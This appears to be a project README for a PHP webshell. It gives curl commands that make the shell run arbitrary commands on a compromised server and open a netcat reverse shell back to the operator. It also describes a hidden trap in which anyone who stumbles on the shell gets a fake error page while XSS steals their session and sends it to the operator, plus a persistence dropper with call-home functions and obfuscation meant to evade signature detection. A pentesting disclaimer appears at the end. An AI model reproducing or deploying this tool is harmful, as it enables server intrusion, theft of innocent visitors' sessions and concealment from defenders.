Since I derped, and forgot to talk about usage. Here goes.
For this shell to work, you need 2 things, a victim that allows php file upload(yourself, in an educational environment) and a way to send http requests to this webshell.
Basic Usage Video(Hosted on Youtube):
The issue with this detection happening is i have not found a viable workaround for the keyword of eval if there was no call to eval this script would be undetectable.
Ok, so here we go folks, there was an itch I had to write something in PHP so this is it. This webshell has a few bells and whistles, and more are added everyday. You will need a pgsql server running that you control. However you implement that is on you.
apt install -y postgresql php php-pear && python -m pip install proxybroker --user
dnf -y -b install postgresql-server postgresql php php-pear && python -m pip install proxybroker --user
install the php msi, and make sure you have an active postgresql server that you can connect to running somewhere. figure it out.
Once you have these set up properly and can confirm that they are running. A command I would encourge using is with
pg_ctl you can create the DB that way, or at least init it and start it. Then all the db queries will work fine.
How to interact.
Firstly, you need to choose a valid User-Agent to use, this is kind of like a first layer of protection against your webshell being accidentally stumbled upon by anyone but you. I went with sp/1.1 as its a non typical user-agent used. This can cause red flags in a pentest, and your access or script to be blocked or deleted. So, be smart about it. Code obfuscation wouldnt hurt, I did not add that in because thats on you to decide. To use the shell, there are some presets to aid you in your pen test and traversal of the machine. I did not add much for windows, because I do not like developing for windows. If you have routines or tricks added or know about, feel free to submit an issue with your suggestion and ill add it. An example of how to use this webshell with curl:
curl https://victim/slop.php?qs=cqP -H "User-Agent: sp/1.1" -v
or to execute custom commands:
curl https://victim/slop.php --data "commander=id" -H "User-Agent: sp/1.1" -v
Or to attempt to establish a reverse shell to your machine:
curl https://victim/slop.php --data "rcom=1&mthd=nc&rhost=&rport=&shell=sh" -H "User-Agent: sp/1.1" -v
- mthd = the method you want to use to establish the reverse shell, this is predefined in the
$commaarray, feel free to add to it, optional, if it is null, the script will choose for you.
- rhost = you, now this and the rport are not required, as it defaults to using netcat with the ip address in the
$_SERVER["REMOTE_ADDR"]php env variable.
- rport = your listener port, the default was set to 1634, just because.
- shell = the type of system shell you want to have. I know bash isnt standard on all systems, but thats why its nice for you to do some system recon before you try to execute this command.
Here is the better part of this shell. If someone happens upon this shell without supplying the exact user agent string specified in the script, this shell will produce a 500 error with a fake error page then it will attempt some XSS to steal that users session information and sends it back to a handler script on your server/system. This will then attempt to store the information in a running log file. If it is unable to do so, well the backup is your logs. Once the XSS has completed, this shell will redirect the user back to the root(/) of the webserver. So, youll steal sessions if someone finds this, can even beef it up to execute commands on the server on behalf of the user, or drop a reverse shell on the users browser through Beef or another method. The possibilities are legit endless.
Images of use cases
Interacting through the client script
Once the client script is complete, you as the operator will not need to interact though curl to utilize this shell. There will be a client script that you can use to execute all commands/control over. In addition to this client script, there is a dropper. This dropper will ensure the script is run at start up even if the website is removed. Including some call home functions, obfuscation if it is requested on a level from 1 to 3, with 3 being the highest as every function will be rot ciphered and then encoded in base64 within the whole file being base64 encoded with a random name assigned to the file itself. This can help avoid signature detection.
Once the encryption routine is fully worked out, the dropper script will be encrypted, and highly obfuscated. Example output:
This was going to remain private. But I decided otherwise.
Do not abuse this shell, and get a signature attached to it, this is quite stealthy right now since its brand new.
I as the maintainer, am in no way responsible for the misuse of this product. This was published for legitmate penetration testing/red teaming purposes, and/or for educational value. Know the applicable laws in your country of residence before using this script, and do not break the law whilst using this. Thank you and have a nice day.
If you have enjoyed this script, its is obligatory that you follow me and throw a star on this repo… because future editions will have more features(or bugs) depending on how you look at it.